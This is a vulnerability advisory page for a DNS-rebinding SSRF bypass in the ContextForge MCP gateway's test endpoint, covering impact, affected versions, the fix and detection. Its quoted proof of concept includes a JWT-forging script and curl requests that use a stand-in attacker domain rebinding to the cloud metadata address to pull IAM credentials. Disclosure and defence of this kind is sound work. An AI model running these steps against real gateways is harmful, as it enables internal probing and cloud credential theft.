CVE-2026-53708: ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)
IBM's ContextForge MCP gateway (`mcp-contextforge-gateway`) checks the URL for `/admin/gateways/test` once and connects to it later, resolving DNS twice. An attacker with a credential that holds `gateways.read` can use DNS rebinding to make the gateway request internal services or the cloud metadata endpoint. Versions before 1.0.3 are affected. Upgrade to 1.0.3.
Published Aug 14, 2026 · Analysis Oct 25, 2026
What an attacker can do
validate_gateway_test_url() in mcpgateway/common/validators.py resolves the hostname with socket.getaddrinfo() and rejects private, loopback, link-local and metadata ranges (including 169.254.169.254). It then passes the original hostname, not the checked IP, to httpx through ResilientHttpClient. httpx looks the name up again. Nothing pins the validated address. The ssrf_blocked_networks and ssrf_dns_fail_closed settings act only at validation time, so they share the gap.
An attacker who controls DNS for a domain sets a 1-second TTL. The first lookup returns a public IP and passes. The record then flips to 169.254.169.254, and the connection goes there. The gateway returns the response body. On a host where IMDSv1 is reachable, that includes IAM role credentials. A literal private IP is rejected before any DNS lookup, which is why rebinding is needed.
The code itself admits the problem in a docstring and in a TODO marked ICACF-15.
There are two preconditions. MCPGATEWAY_ADMIN_API_ENABLED=true is not the default. The caller needs a database-backed role with gateways.read, because the endpoint uses allow_admin_bypass=False. A token forged through the platform-admin bootstrap path in GHSA-m8rv-5m6m-32ff does not satisfy it. Hence the high complexity and privilege in the CVSS vector.
Who is affected
PyPI package mcp-contextforge-gateway, versions < 1.0.3. Only deployments with MCPGATEWAY_ADMIN_API_ENABLED=true expose /admin/gateways/test. Check the version:
pip show mcp-contextforge-gatewayThen check the environment of the service for MCPGATEWAY_ADMIN_API_ENABLED.
mcp-contextforge-gateway
- Ecosystem
- PyPI
- Affected
- < 1.0.3
- Fixed in
- 1.0.3
- Check
pip show mcp-contextforge-gateway
How to fix it
Upgrade to 1.0.3, the patched version:
pip install --upgrade "mcp-contextforge-gateway>=1.0.3"The advisory suggests the fix: pin the connection to the validated IP through a custom httpx transport or resolver, send the original Host header, and limit the age of a resolution. The sources do not say how 1.0.3 does it. Without the upgrade, leave MCPGATEWAY_ADMIN_API_ENABLED unset, limit who holds gateways.read, and enforce IMDSv2 and egress filtering on the host.
How to tell if you were hit
In the gateway access logs, look for POSTs to /admin/gateways/test from accounts that should not be testing gateways, particularly with hostnames you do not own. Compare the URLs with DNS history: names with a very short TTL that resolved to both public and private addresses are suspicious. On cloud hosts, review metadata-service access and any use of the instance role from unexpected addresses. Check which users hold the gateways.read permission.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.
Details
validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.
The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:
- The validated IP address is never passed to the HTTP client.
- Only the original hostname is forwarded, triggering a second independent lookup.
- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.
The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.
Two independent acknowledgements in the source code
Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):
"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement."
Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):
"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases."
The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.
Prerequisites
MCPGATEWAY_ADMIN_API_ENABLED=true(not the default; must be explicitly enabled by an operator).- The attacker holds a credential with explicit
gateways.readpermission assigned via a database role.
Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.
Proof of Concept
Setup
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5Step 1 — Obtain a token for an account with database role assignment
The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:
import datetime, jwt, uuid
SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL = "[email protected]" # must have platform_admin role in DB
now = datetime.datetime.now(datetime.timezone.utc)
payload = {
"sub": EMAIL,
"aud": "mcpgateway-api",
"iss": "mcpgateway",
"jti": str(uuid.uuid4()),
"iat": now,
"exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")TOKEN=$(python3 /tmp/gen_token.py)Step 2 — Baseline control: direct private IP is rejected
Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"Step 3 — DNS rebinding attack
- Attacker controls DNS for
attacker.example.comwith TTL set to 1 second. - Initial record:
attacker.example.com → 1.2.3.4(any public IP). - Submit the request:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'validate_gateway_test_url()resolvesattacker.example.com → 1.2.3.4; all SSRF checks pass.- Attacker immediately flips the DNS record:
attacker.example.com → 169.254.169.254. httpxindependently re-resolves the hostname and connects to169.254.169.254.- The gateway returns the IMDS response body to the caller.
Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.
Impact
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
Suggested Fix
After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.
Credited to hewei-gikaku.
Questions
- Can an unauthenticated user exploit this?
No. The caller needs a credential tied to a database role with
gateways.read, and the admin API must be enabled. The platform-admin bypass does not count for this endpoint.- Why does a direct private IP not work but a hostname does?
A literal private IP is rejected before DNS. A hostname passes the check with a public answer, then
httpxresolves it again and can get a private one.- What can the attacker reach?
Internal HTTP services, and cloud metadata at
169.254.169.254. With IMDSv1 reachable, that can include IAM role credentials.- Which version is fixed?
mcp-contextforge-gateway1.0.3. Everything below it is affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
